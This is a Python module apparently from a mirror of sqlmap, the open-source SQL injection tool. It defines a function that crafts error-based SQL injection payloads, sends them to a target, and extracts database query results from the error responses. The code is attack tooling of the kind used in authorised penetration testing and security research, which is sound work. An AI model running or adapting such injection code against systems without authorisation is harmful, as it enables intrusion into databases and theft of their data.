mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-26 03:23:48 +03:00
84 lines
3.0 KiB
Python
84 lines
3.0 KiB
Python
#!/usr/bin/env python
|
|
|
|
"""
|
|
$Id$
|
|
|
|
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
|
See the file 'doc/COPYING' for copying permission
|
|
"""
|
|
|
|
import re
|
|
import time
|
|
|
|
from lib.core.agent import agent
|
|
from lib.core.common import getUnicode
|
|
from lib.core.common import randomInt
|
|
from lib.core.common import replaceNewlineTabs
|
|
from lib.core.common import safeStringFormat
|
|
from lib.core.convert import urlencode
|
|
from lib.core.data import conf
|
|
from lib.core.data import kb
|
|
from lib.core.data import logger
|
|
from lib.core.data import queries
|
|
from lib.core.session import setError
|
|
from lib.core.unescaper import unescaper
|
|
from lib.request.connect import Connect as Request
|
|
from lib.utils.resume import resume
|
|
|
|
from lib.core.settings import ERROR_SPACE
|
|
from lib.core.settings import ERROR_EMPTY_CHAR
|
|
from lib.core.settings import ERROR_START_CHAR
|
|
from lib.core.settings import ERROR_END_CHAR
|
|
|
|
def errorUse(expression):
|
|
"""
|
|
Retrieve the output of a SQL query taking advantage of an error SQL
|
|
injection vulnerability on the affected parameter.
|
|
"""
|
|
|
|
output = None
|
|
logic = conf.logic
|
|
randInt = randomInt(1)
|
|
query = agent.prefixQuery(queries[kb.misc.testedDbms].error.query)
|
|
query = agent.postfixQuery(query)
|
|
startLimiter = ""
|
|
endLimiter = ""
|
|
|
|
expressionUnescaped = expression
|
|
|
|
if kb.dbmsDetected:
|
|
_, _, _, _, _, _, fieldToCastStr = agent.getFields(expression)
|
|
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
|
|
|
|
if kb.dbms == "MySQL":
|
|
nulledCastedField = nulledCastedField.replace("AS CHAR)", "AS CHAR(100))") # fix for that 'Subquery returns more than 1 row'
|
|
|
|
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
|
|
expressionUnescaped = unescaper.unescape(expressionReplaced)
|
|
startLimiter = unescaper.unescape("'%s'" % ERROR_START_CHAR)
|
|
endLimiter = unescaper.unescape("'%s'" % ERROR_END_CHAR)
|
|
else:
|
|
expressionUnescaped = kb.misc.handler.unescape(expression)
|
|
startLimiter = kb.misc.handler.unescape("'%s'" % ERROR_START_CHAR)
|
|
endLimiter = kb.misc.handler.unescape("'%s'" % ERROR_END_CHAR)
|
|
|
|
forgedQuery = safeStringFormat(query, (logic, randInt, startLimiter, expressionUnescaped, endLimiter))
|
|
|
|
debugMsg = "query: %s" % forgedQuery
|
|
logger.debug(debugMsg)
|
|
|
|
payload = agent.payload(newValue=forgedQuery)
|
|
result = Request.queryPage(urlencode(payload), content=True)
|
|
match = re.search('%s(?P<result>.*?)%s' % (ERROR_START_CHAR, ERROR_END_CHAR), result[0], re.DOTALL | re.IGNORECASE)
|
|
|
|
if match:
|
|
output = match.group('result')
|
|
if output:
|
|
output = output.replace(ERROR_SPACE, " ").replace(ERROR_EMPTY_CHAR, "")
|
|
|
|
if conf.verbose > 0:
|
|
infoMsg = "retrieved: %s" % replaceNewlineTabs(output, stdout=True)
|
|
logger.info(infoMsg)
|
|
|
|
return output
|